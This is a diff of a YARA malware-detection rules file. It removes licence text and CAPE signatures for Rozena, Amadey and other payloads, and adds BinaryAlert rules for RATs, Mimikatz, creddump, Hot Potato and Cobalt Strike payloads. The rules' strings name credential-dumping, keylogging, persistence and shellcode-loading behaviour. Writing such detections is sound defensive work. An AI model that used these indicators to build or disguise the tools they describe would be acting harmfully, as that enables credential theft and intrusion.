-that they are valid under applicable law.  If additional permissions
-apply only to part of the Program, that part may be used separately
-under those permissions, but the entire Program remains governed by
-this License without regard to the additional permissions.
-
-  When you convey a copy of a covered work, you may at your option
-remove any additional permissions from that copy, or from any part of
-it.  (Additional permissions may be written to require their own
-removal in certain cases when you modify the work.)  You may place
-additional permissions on material, added by you to a covered work,
-for which you have or can give appropriate copyright permission.
-
-  Notwithstanding any other provision of this License, for material you
-add to a covered work, you may (if authorized by the copyright holders of
-that material) supplement the terms of this License with terms:
-
-    a) Disclaiming warranty or limiting liability differently from the
-    terms of sections 15 and 16 of this License; or
-
-    b) Requiring preservation of specified reasonable legal notices or
-    author attributions in that material or in the Appropriate Legal
-    Notices displayed by works containing it; or
-
-    c) Prohibiting misrepresentation of the origin of that material, or
-    requiring that modified versions of such material be marked in
-    reasonable ways as different from the original version; or
-
-    d) Limiting the use for publicity purposes of names of licensors or
-    authors of the material; or
-
-    e) Declining to grant rights under trademark law for use of some
-    trade names, trademarks, or service marks; or
-
-    f) Requiring indemnification of licensors and authors of that
-    material by anyone who conveys the material (or modified versions of
-    it) with contractual assumptions of liability to the recipient, for
-    any liability that these contractual assumptions directly impose on
-    those licensors and authors.
-
-  All other non-permissive additional terms are considered "further
-restrictions" within the meaning of section 10.  If the Program as you
-received it, or any part of it, contains a notice stating that it is
-governed by this License along with a term that is a further
-restriction, you may remove that term.  If a license document contains
-a further restriction but permits relicensing or conveying under this
-License, you may add to a covered work material governed by the terms
-of that license document, provided that the further restriction does
-not survive such relicensing or conveying.
-
-  If you add terms to a covered work in accord with this section, you
-must place, in the relevant source files, a statement of the
-additional terms that apply to those files, or a notice indicating
-where to find the applicable terms.
-
-  Additional terms, permissive or non-permissive, may be stated in the
-form of a separately written license, or stated as exceptions;
-the above requirements apply either way.
-
-  8. Termination.
-
-  You may not propagate or modify a covered work except as expressly
-provided under this License.  Any attempt otherwise to propagate or
-modify it is void, and will automatically terminate your rights under
-this License (including any patent licenses granted under the third
-paragraph of section 11).
-
-  However, if you cease all violation of this License, then your
-license from a particular copyright holder is reinstated (a)
-provisionally, unless and until the copyright holder explicitly and
-finally terminates your license, and (b) permanently, if the copyright
-holder fails to notify you of the violation by some reasonable means
-prior to 60 days after the cessation.
-
-  Moreover, your license from a particular copyright holder is
-reinstated permanently if the copyright holder notifies you of the
-violation by some reasonable means, this is the first time you have
-received notice of violation of this License (for any work) from that
-copyright holder, and you cure the violation prior to 30 days after
-your receipt of the notice.
-
-  Termination of your rights under this section does not terminate the
-licenses of parties who have received copies or rights from you under
-this License.  If your rights have been terminated and not permanently
-reinstated, you do not qualify to receive new licenses for the same
-material under section 10.
-
-  9. Acceptance Not Required for Having Copies.
-
-  You are not required to accept this License in order to receive or
-run a copy of the Program.  Ancillary propagation of a covered work
-occurring solely as a consequence of using peer-to-peer transmission
-to receive a copy likewise does not require acceptance.  However,
-nothing other than this License grants you permission to propagate or
-modify any covered work.  These actions infringe copyright if you do
-not accept this License.  Therefore, by modifying or propagating a
-covered work, you indicate your acceptance of this License to do so.
-
-  10. Automatic Licensing of Downstream Recipients.
-
-  Each time you convey a covered work, the recipient automatically
-receives a license from the original licensors, to run, modify and
-propagate that work, subject to this License.  You are not responsible
-for enforcing compliance by third parties with this License.
-
-  An "entity transaction" is a transaction transferring control of an
-organization, or substantially all assets of one, or subdividing an
-organization, or merging organizations.  If propagation of a covered
-work results from an entity transaction, each party to that
-transaction who receives a copy of the work also receives whatever
-licenses to the work the party's predecessor in interest had or could
-give under the previous paragraph, plus a right to possession of the
-Corresponding Source of the work from the predecessor in interest, if
-the predecessor has it or can get it with reasonable efforts.
-
-  You may not impose any further restrictions on the exercise of the
-rights granted or affirmed under this License.  For example, you may
-not impose a license fee, royalty, or other charge for exercise of
-rights granted under this License, and you may not initiate litigation
-(including a cross-claim or counterclaim in a lawsuit) alleging that
-any patent claim is infringed by making, using, selling, offering for
-sale, or importing the Program or any portion of it.
-
-  11. Patents.
-
-  A "contributor" is a copyright holder who authorizes use under this
-License of the Program or a work on which the Program is based.  The
-work thus licensed is called the contributor's "contributor version".
-
-  A contributor's "essential patent claims" are all patent claims
-owned or controlled by the contributor, whether already acquired or
-hereafter acquired, that would be infringed by some manner, permitted
-by this License, of making, using, or selling its contributor version,
-but do not include claims that would be infringed only as a
-consequence of further modification of the contributor version.  For
-purposes of this definition, "control" includes the right to grant
-patent sublicenses in a manner consistent with the requirements of
-this License.
-
-  Each contributor grants you a non-exclusive, worldwide, royalty-free
-patent license under the contributor's essential patent claims, to
-make, use, sell, offer for sale, import and otherwise run, modify and
-propagate the contents of its contributor version.
-
-  In the following three paragraphs, a "patent license" is any express
-agreement or commitment, however denominated, not to enforce a patent
-(such as an express permission to practice a patent or covenant not to
-sue for patent infringement).  To "grant" such a patent license to a
-party means to make such an agreement or commitment not to enforce a
-patent against the party.
-
-  If you convey a covered work, knowingly relying on a patent license,
-and the Corresponding Source of the work is not available for anyone
-to copy, free of charge and under the terms of this License, through a
-publicly available network server or other readily accessible means,
-then you must either (1) cause the Corresponding Source to be so
-available, or (2) arrange to deprive yourself of the benefit of the
-patent license for this particular work, or (3) arrange, in a manner
-consistent with the requirements of this License, to extend the patent
-license to downstream recipients.  "Knowingly relying" means you have
-actual knowledge that, but for the patent license, your conveying the
-covered work in a country, or your recipient's use of the covered work
-in a country, would infringe one or more identifiable patents in that
-country that you have reason to believe are valid.
-
-  If, pursuant to or in connection with a single transaction or
-arrangement, you convey, or propagate by procuring conveyance of, a
-covered work, and grant a patent license to some of the parties
-receiving the covered work authorizing them to use, propagate, modify
-or convey a specific copy of the covered work, then the patent license
-you grant is automatically extended to all recipients of the covered
-work and works based on it.
-
-  A patent license is "discriminatory" if it does not include within
-the scope of its coverage, prohibits the exercise of, or is
-conditioned on the non-exercise of one or more of the rights that are
-specifically granted under this License.  You may not convey a covered
-work if you are a party to an arrangement with a third party that is
-in the business of distributing software, under which you make payment
-to the third party based on the extent of your activity of conveying
-the work, and under which the third party grants, to any of the
-parties who would receive the covered work from you, a discriminatory
-patent license (a) in connection with copies of the covered work
-conveyed by you (or copies made from those copies), or (b) primarily
-for and in connection with specific products or compilations that
-contain the covered work, unless you entered into that arrangement,
-or that patent license was granted, prior to 28 March 2007.
-
-  Nothing in this License shall be construed as excluding or limiting
-any implied license or other defenses to infringement that may
-otherwise be available to you under applicable patent law.
-
-  12. No Surrender of Others' Freedom.
-
-  If conditions are imposed on you (whether by court order, agreement or
-otherwise) that contradict the conditions of this License, they do not
-excuse you from the conditions of this License.  If you cannot convey a
-covered work so as to satisfy simultaneously your obligations under this
-License and any other pertinent obligations, then as a consequence you may
-not convey it at all.  For example, if you agree to terms that obligate you
-to collect a royalty for further conveying from those to whom you convey
-the Program, the only way you could satisfy both those terms and this
-License would be to refrain entirely from conveying the Program.
-
-  13. Use with the GNU Affero General Public License.
-
-  Notwithstanding any other provision of this License, you have
-permission to link or combine any covered work with a work licensed
-under version 3 of the GNU Affero General Public License into a single
-combined work, and to convey the resulting work.  The terms of this
-License will continue to apply to the part which is the covered work,
-but the special requirements of the GNU Affero General Public License,
-section 13, concerning interaction through a network will apply to the
-combination as such.
-
-  14. Revised Versions of this License.
-
-  The Free Software Foundation may publish revised and/or new versions of
-the GNU General Public License from time to time.  Such new versions will
-be similar in spirit to the present version, but may differ in detail to
-address new problems or concerns.
-
-  Each version is given a distinguishing version number.  If the
-Program specifies that a certain numbered version of the GNU General
-Public License "or any later version" applies to it, you have the
-option of following the terms and conditions either of that numbered
-version or of any later version published by the Free Software
-Foundation.  If the Program does not specify a version number of the
-GNU General Public License, you may choose any version ever published
-by the Free Software Foundation.
-
-  If the Program specifies that a proxy can decide which future
-versions of the GNU General Public License can be used, that proxy's
-public statement of acceptance of a version permanently authorizes you
-to choose that version for the Program.
-
-  Later license versions may give you additional or different
-permissions.  However, no additional obligations are imposed on any
-author or copyright holder as a result of your choosing to follow a
-later version.
-
-  15. Disclaimer of Warranty.
-
-  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
-APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
-HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
-OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
-THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
-PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
-IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
-ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
-
-  16. Limitation of Liability.
+rule BINARYALERT_Malware_Macos_Bella
+{
+	meta:
+		description = "Bella is a pure python post-exploitation data mining tool & remote administration tool for macOS."
+		author = "@mimeframe"
+		id = "ca4ab508-8c97-5307-9aaf-db10cfd6ab35"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/Trietptm-on-Security/Bella"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/macos/malware_macos_bella.yara#L1-L22"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "b9c063b5ec8604958d3417ec8640da4314ebcf60ee55413a2f6fa8d138311614"
+		score = 75
+		quality = 80
+		tags = ""
 
-  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
-WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
-THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
-GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
-USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
-DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
-PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
-EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
-SUCH DAMAGES.
+	strings:
+		$a1 = "Verified! [2FV Enabled] Account ->" wide ascii
+		$a2 = "There is no root shell to perform this command. See [rooter] manual entry." wide ascii
+		$a3 = "Attempt to escalate Bella to root through a variety of attack vectors." wide ascii
+		$a4 = "BELLA IS NOW RUNNING. CONNECT TO BELLA FROM THE CONTROL CENTER." wide ascii
+		$b1 = "user_pass_phish" fullword wide ascii
+		$b2 = "bella_info" fullword wide ascii
+		$b3 = "get_root" fullword wide ascii
+		$c1 = "Please specify a bella server." wide ascii
+		$c2 = "What port should Bella connect on [Default is 4545]:" wide ascii
 
-  17. Interpretation of Sections 15 and 16.
+	condition:
+		any of ($a*) or all of ($b*) or all of ($c*)
+}
+rule BINARYALERT_Malware_Multi_Vesche_Basicrat
+{
+	meta:
+		description = "cross-platform Python 2.x Remote Access Trojan (RAT)"
+		author = "@mimeframe"
+		id = "e07a684c-3a3d-5dd3-a540-2cc9a5a170dd"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/vesche/basicRAT"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_vesche_basicrat.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "1503ce9de4e721903058c77b305ba057052d654ff1875ea880f4319c3e525a29"
+		score = 75
+		quality = 80
+		tags = ""
 
-  If the disclaimer of warranty and limitation of liability provided
-above cannot be given local legal effect according to their terms,
-reviewing courts shall apply local law that most closely approximates
-an absolute waiver of all civil liability in connection with the
-Program, unless a warranty or assumption of liability accompanies a
-copy of the Program in return for a fee.
+	strings:
+		$a1 = "HKCU Run registry key applied" wide ascii
+		$a2 = "HKCU Run registry key failed" wide ascii
+		$a3 = "Error, platform unsupported." wide ascii
+		$a4 = "Persistence successful," wide ascii
+		$a5 = "Persistence unsuccessful," wide ascii
 
-                     END OF TERMS AND CONDITIONS
+	condition:
+		all of ($a*)
+}
+rule BINARYALERT_Malware_Multi_Pupy_Rat
+{
+	meta:
+		description = "pupy - opensource cross platform rat and post-exploitation tool"
+		author = "@mimeframe"
+		id = "b26deb19-85b2-5d39-9ff2-0ab9017f3263"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/n1nj4sec/pupy"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/malware/multi/malware_multi_pupy_rat.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "bb5d1e7f2aea94dc41efe75690ae31409e8f6305aa6c4ec0cd46922ee8fb7241"
+		score = 75
+		quality = 74
+		tags = ""
 
-The file UserDB.txt is copyrighted by BoB / Team PEiD distributed under the following
-MIT license.
+	strings:
+		$a1 = "dumping lsa secrets" nocase wide ascii
+		$a2 = "dumping cached domain passwords" nocase wide ascii
+		$a3 = "the keylogger is already started" nocase wide ascii
+		$a4 = "pupyutils.dns" wide ascii
+		$a5 = "pupwinutils.security" wide ascii
+		$a6 = "-PUPY_CONFIG_COMES_HERE-" wide ascii
 
-Permission is hereby granted, free of charge, to any person obtaining a copy of this
-software and associated documentation files (the "Software"), to deal in the Software
-without restriction, including without limitation the rights to use, copy, modify,
-merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
-permit persons to whom the Software is furnished to do so, subject to the following
-conditions:
+	condition:
+		3 of ($a*)
+}
+rule BINARYALERT_Hacktool_Windows_Hot_Potato
+{
+	meta:
+		description = "No description has been set in the source file - BinaryAlert"
+		author = "@mimeframe"
+		id = "dee13640-b4a9-5a39-af01-338c0197c995"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/foxglovesec/Potato"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_hot_potato.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "1ccee61660b3478294a5a4e1ca2b16c91156f6c877d0f83848cccd18a3f753f7"
+		score = 75
+		quality = 80
+		tags = ""
 
-The above copyright notice and this permission notice shall be included in all copies
-or substantial portions of the Software.
+	strings:
+		$a1 = "Parsing initial NTLM auth..." wide ascii
+		$a2 = "Got PROPFIND for /test..." wide ascii
+		$a3 = "Starting NBNS spoofer..." wide ascii
+		$a4 = "Exhausting UDP source ports so DNS lookups will fail..." wide ascii
+		$a5 = "Usage: potato.exe -ip" wide ascii
 
-THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,
-INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR
-PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE
-FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
-OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
-DEALINGS IN THE SOFTWARE.
+	condition:
+		any of ($a*)
+}
+rule BINARYALERT_Hacktool_Windows_Mimikatz_Files
+{
+	meta:
+		description = "Mimikatz credential dump tool: Files"
+		author = "@fusionrace"
+		id = "ea4fd443-64dd-5466-8525-40c3a023e229"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/gentilkiwi/mimikatz"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_files.yara#L1-L15"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "50d23cda49ca559da2e504e53b46b58679ea8bc07c501ff7764a3d142598adc8"
+		score = 75
+		quality = 80
+		tags = ""
+		md5_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+		md5_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
 
-The file jquery.js is copyrighted by John Resig and dual licensed under the MIT or GPL
-Version 2 licenses (see: http://jquery.org/license).
+	strings:
+		$s1 = "kiwifilter.log" fullword wide
+		$s2 = "kiwissp.log" fullword wide
+		$s3 = "mimilib.dll" fullword ascii wide
 
-The files lightbox.js and lightbox.css are copyrighted by Lokesh Dhakar and licensed under
-the Creative Commons Attribution 2.5 License
-(see: http://creativecommons.org/licenses/by/2.5/).
+	condition:
+		any of them
+}
+rule BINARYALERT_Hacktool_Windows_Wmi_Implant
+{
+	meta:
+		description = "A PowerShell based tool that is designed to act like a RAT"
+		author = "@fusionrace"
+		id = "cd90ef31-6e15-5518-8278-98e99e379916"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://www.fireeye.com/blog/threat-research/2017/03/wmimplant_a_wmi_ba.html"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_wmi_implant.yara#L1-L21"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "8b02fd265b04b9675a99b9638fdd179c8a86ed3afd7506195f3d3dcb2417d74d"
+		score = 75
+		quality = 80
+		tags = ""
 
-The files bootstrap-fileupload.js, jasny-bootstrap.js, jasny-bootstrap.min.js,
-jasny-bootstrap.css, jasny-bootstrap.min.css, jasny-bootstrap-responsive.css,
-jasny-bootstrap-responsive.min.css are copyrighted by Jasny BV and licensed under the Apache
-License, Version 2.0.
+	strings:
+		$s1 = "This really isn't applicable unless you are using WMImplant interactively." fullword ascii wide
+		$s2 = "What command do you want to run on the remote system? >" fullword ascii wide
+		$s3 = "Do you want to [create] or [delete] a string registry value? >" fullword ascii wide
+		$s4 = "Do you want to run a WMImplant against a list of computers from a file? [yes] or [no] >" fullword ascii wide
+		$s5 = "What is the name of the service you are targeting? >" fullword ascii wide
+		$s6 = "This function enables the user to upload or download files to/from the attacking machine to/from the targeted machine" fullword ascii wide
+		$s7 = "gen_cli - Generate the CLI command to execute a command via WMImplant" fullword ascii wide
+		$s8 = "exit - Exit WMImplant" fullword ascii wide
+		$s9 = "Lateral Movement Facilitation" fullword ascii wide
+		$s10 = "vacant_system - Determine if a user is away from the system." fullword ascii wide
+		$s11 = "Please provide the ProcessID or ProcessName flag to specify the process to kill!" fullword ascii wide
 
-The files bootstrap.min.js, bootstrap.min.css, bootstrap-responsive.min.css,
-glyphicons-halflings.png, glyphicons-halflings-white.png are copyrighted by Twitter, Inc.
-and licensed under the Apache License, Version 2.0.
+	condition:
+		any of them
+}
+rule BINARYALERT_Hacktool_Windows_Ncc_Wmicmd
+{
+	meta:
+		description = "Command shell wrapper for WMI"
+		author = "@mimeframe"
+		id = "18bc36f7-b97a-5bce-a68b-c349713e9468"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/nccgroup/WMIcmd"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_ncc_wmicmd.yara#L1-L18"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "bef6828a706dcfc3b573523fccd391a5ef3fa505235b1621a82527d64d32aaf0"
+		score = 75
+		quality = 80
+		tags = ""
 
-The file analyzer/windows/modules/amsi.py uses parts of pywintrace
-(https://github.com/fireeye/pywintrace), which is copyrighted by FireEye, Inc. and licensed
-under the Apache License, Version 2.0.
+	strings:
+		$a1 = "Need to specify a username, domain and password for non local connections" wide ascii
+		$a2 = "WS-Management is running on the remote host" wide ascii
+		$a3 = "firewall (if enabled) allows connections" wide ascii
+		$a4 = "WARNING: Didn't see stdout output finished marker - output may be truncated" wide ascii
+		$a5 = "Command sleep in milliseconds - increase if getting truncated output" wide ascii
+		$b1 = "0x800706BA" wide ascii
+		$b2 = "NTLMDOMAIN:" wide ascii
+		$b3 = "cimv2" wide ascii
 
- */
-rule CAPE_Rozena
+	condition:
+		any of ($a*) or all of ($b*)
+}
+rule BINARYALERT_Hacktool_Windows_Mimikatz_Sekurlsa
 {
 	meta:
-		description = "No description has been set in the source file - CAPE"
-		author = "Kevin O'Reilly"
-		id = "38ca9da3-2a0e-500f-8eb8-9de69a7f2da5"
-		date = "2024-03-15"
-		modified = "2024-03-15"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Rozena.yar#L1-L10"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "c415a8108b58a125a604031bb8d73b58a8aae5429b5b765e35fa8a4add9cd135"
+		description = "Mimikatz credential dump tool"
+		author = "@fusionrace"
+		id = "08fe62c5-f7a4-5985-a298-1d3c2c1744d4"
+		date = "2017-08-11"
+		modified = "2017-08-11"
+		reference = "https://github.com/gentilkiwi/mimikatz"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_mimikatz_sekurlsa.yara#L1-L18"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "24e958c3cbda8e01dc2d84b3059114ea23f4b38db1676f7b72e5eabfa52b7335"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = ""
-		cape_type = "Rozena Payload"
+		SHA256_1 = "09054be3cc568f57321be32e769ae3ccaf21653e5d1e3db85b5af4421c200669"
+		SHA256_2 = "004c07dcd04b4e81f73aacd99c7351337f894e4dac6c91dcfaadb4a1510a967c"
 
 	strings:
-		$ip_port = {FF D5 6A 0A 68 [4] 68 [4] 89 E6 50 50 50 50 40 50 40 50 68 [4] FF D5}
-		$socket = {6A 00 6A 04 56 57 68 [4] FF D5 [0-5] 8B 36 6A 40 68 00 10 00 00 56 6A 00 68}
+		$s1 = "dpapisrv!g_MasterKeyCacheList" fullword ascii wide
+		$s2 = "lsasrv!g_MasterKeyCacheList" fullword ascii wide
+		$s3 = "!SspCredentialList" ascii wide
+		$s4 = "livessp!LiveGlobalLogonSessionList" fullword ascii wide
+		$s5 = "wdigest!l_LogSessList" fullword ascii wide
+		$s6 = "tspkg!TSGlobalCredTable" fullword ascii wide
 
 	condition:
 		all of them
 }
-rule CAPE_Amadey : FILE
+rule BINARYALERT_Hacktool_Windows_Moyix_Creddump
 {
 	meta:
-		description = "Amadey Payload"
-		author = "kevoreilly"
-		id = "b9d81aa8-5504-5b71-86c7-8c00d75479ad"
-		date = "2023-09-04"
-		modified = "2023-09-04"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Amadey.yar#L1-L14"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		hash = "988258716d5296c1323303e8fe4efd7f4642c87bfdbe970fe9a3bb3f410f70a4"
-		logic_hash = "38f710b422a3644c9f0f3e80ad9ff28ef02050368c651a6cc2ce8b152b67bf48"
+		description = "creddump is a python tool to extract credentials and secrets from Windows registry hives."
+		author = "@mimeframe"
+		id = "46df781a-abab-5593-99f9-1a6b993904cb"
+		date = "2017-09-12"
+		modified = "2017-09-12"
+		reference = "https://github.com/moyix/creddump"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_moyix_creddump.yara#L1-L16"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "3f2f4c5069fcb3d3b1d293a471bcf9489f058f27cd385885ab2bb4f719a3bd9d"
 		score = 75
-		quality = 70
-		tags = "FILE"
-		cape_type = "Amadey Payload"
+		quality = 80
+		tags = ""
 
 	strings:
-		$decode1 = {8B D1 B8 FF FF FF 7F D1 EA 2B C2 3B C8 76 07 BB FF FF FF 7F EB 08 8D 04 0A 3B D8 0F 42 D8}
-		$decode2 = {33 D2 8B 4D ?? 8B C7 F7 F6 8A 84 3B [4] 2A 44 0A 01 88 87 [4] 47 8B 45 ?? 8D 50 01}
-		$decode3 = {8A 04 02 88 04 0F 41 8B 7D ?? 8D 42 01 3B CB 7C}
+		$a1 = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%" wide ascii
+		$a2 = "0123456789012345678901234567890123456789" wide ascii
+		$a3 = "NTPASSWORD" wide ascii
+		$a4 = "LMPASSWORD" wide ascii
+		$a5 = "aad3b435b51404eeaad3b435b51404ee" wide ascii
+		$a6 = "31d6cfe0d16ae931b73c59d7e0c089c0" wide ascii
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		all of ($a*)
 }
-rule CAPE_Masslogger : FILE
+rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Powershell : FILE
 {
 	meta:
-		description = "MassLogger"
-		author = "kevoreilly"
-		id = "0743421a-36f7-5b7c-859f-b461511151cb"
-		date = "2020-11-24"
-		modified = "2020-11-24"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/MassLogger.yar#L1-L12"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "c8d82694810aafbdc6a35a661e7431e9536035e2f7fef90b9359064c4209b66c"
+		description = "Detection of the PowerShell payloads from Cobalt Strike"
+		author = "@javutin, @joseselvi"
+		id = "155f181a-56cb-5295-a903-744f79012733"
+		date = "2017-12-14"
+		modified = "2017-12-14"
+		reference = "https://www.cobaltstrike.com/help-payload-generator"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_powershell.yara#L1-L21"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "39dd0aaa84d02aae5766d764c3d371f03f9df33acf5f6ae4ab4a8c73dd827213"
 		score = 75
-		quality = 70
+		quality = 80
 		tags = "FILE"
-		cape_type = "MassLogger Payload"
 
 	strings:
-		$name = "MassLogger"
-		$fody = "Costura"
+		$ps1 = "Set-StrictMode -Version 2"
+		$ps2 = "func_get_proc_address"
+		$ps3 = "func_get_delegate_type"
+		$ps4 = "FromBase64String"
+		$ps5 = "VirtualAlloc"
+		$ps6 = "var_code"
+		$ps7 = "var_buffer"
+		$ps8 = "var_hthread"
 
 	condition:
-		uint16(0)==0x5A4D and 2 of them
+		$ps1 at 0 and filesize <1000KB and all of ($ps*)
 }
-rule CAPE_Gootkit : FILE
+import "math"
+import "pe"
+
+rule BINARYALERT_Hacktool_Windows_Cobaltstrike_Artifact_Exe : FILE
 {
 	meta:
-		description = "Gootkit Payload"
-		author = "kevoreilly"
-		id = "8935fd10-ac79-5196-80c2-fc8f2fe185b5"
-		date = "2019-10-30"
-		modified = "2019-10-30"
-		reference = "https://github.com/kevoreilly/CAPEv2"
-		source_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/data/yara/CAPE/Gootkit.yar#L1-L11"
-		license_url = "https://github.com/kevoreilly/CAPEv2/blob/f9f935f924c6612b13b8f103f53643718282f24b/LICENSE"
-		logic_hash = "26704b6b0adca51933fc9d5e097930320768fd0e9355dcefc725aee7775316e7"
+		description = "Detection of the Artifact payload from Cobalt Strike"
+		author = "@javutin, @joseselvi"
+		id = "ca92eea2-ad19-56df-af73-bebfc3690377"
+		date = "2017-12-14"
+		modified = "2017-12-14"
+		reference = "https://www.cobaltstrike.com/help-artifact-kit"
+		source_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/rules/public/hacktool/windows/hacktool_windows_cobaltstrike_artifact.yara#L6-L17"
+		license_url = "https://github.com/airbnb/binaryalert//blob/a9c0f06affc35e1f8e45bb77f835b92350c68a0b/LICENSE"
+		logic_hash = "f2f3b9936041cb4bb4b5613d2522553b9835704e1be52993e757fc0edbdd7871"
 		score = 75
-		quality = 70
+		quality = 55
 		tags = "FILE"
-		cape_type = "Gootkit Payload"
+
+	condition:
+		BINARYALERT_Cobaltstrike_Template_Exe_PRIVATE and filesize <100KB and pe.sections[pe.section_index(".data")].raw_data_size>512 and math.entropy(pe.sections[pe.section_index(".data")].raw_data_offset,512)>=7
+}
